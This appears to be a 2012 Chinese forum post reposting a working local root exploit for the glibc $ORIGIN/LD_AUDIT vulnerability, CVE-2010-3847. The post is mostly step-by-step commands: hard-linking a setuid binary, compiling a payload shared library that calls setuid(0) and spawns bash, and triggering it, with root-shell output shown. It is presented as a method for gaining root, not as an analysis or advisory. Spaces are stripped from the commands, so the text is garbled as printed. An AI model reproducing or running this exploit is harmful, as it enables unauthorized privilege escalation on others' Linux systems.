CVE-2010-3847(linux)漏洞和利用方法

[复制链接]
查看171 | 回复0 | 2012-4-1 19:15:08 | 显示全部楼层 |阅读模式
  这个漏洞主要针对Linux操作系统,已经出来了一段时间了,只需寻找一下是否带有用户s权限的文件,若包含基本可以提权成功,下面是具体方法:

 
$ORIGIN是代表在文件系统多级结构中所加载的可执行程序的位置的ELF替换序列。glibc的动态链接器展开特权应用的$ORIGIN替换的方式存在漏洞,本地用户可以通过创建到setuid应用的硬链接并通过LD_AUDIT强制展开$ORIGIN来获得权限提升,具体过程如下:
#在/tmp下创建可控制的目录

$mkdir/tmp/exploit
#链接到suid二进制程序以更改$ORIGIN的定义

$ln/bin/ping/tmp/exploit/target
#打开到目标二进制程序的文件描述符

$exec3</tmp/exploit/target
#现在可通过/proc访问描述符

$ls-l/proc/$$/fd/3

lr-x------1tavisotaviso64Oct1509:21/proc/10836/fd/3->/tmp/exploit/target*
#删除之前所创建的目录

$rm-rf/tmp/exploit/
#/proc链接仍存在,但已标记为已被删除

$ls-l/proc/$$/fd/3

lr-x------1tavisotaviso64Oct1509:21/proc/10836/fd/3->/tmp/exploit/target(deleted)
#使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

$cat>payload.c

void__attribute__((constructor))init()

{

setuid(0);

system(&quot;/bin/bash&quot;);

}

^D

$gcc-w-fPIC-shared-o/tmp/exploitpayload.c

$ls-l/tmp/exploit

-rwxrwx---1tavisotaviso4.2KOct1509:22/tmp/exploit*
#通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$LD_AUDIT=&quot;\$ORIGIN&quot;exec/proc/self/fd/3

sh-4.1#whoami

root

sh-4.1#id

uid=0(root)gid=500(taviso)

&nbsp;
&nbsp;

*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则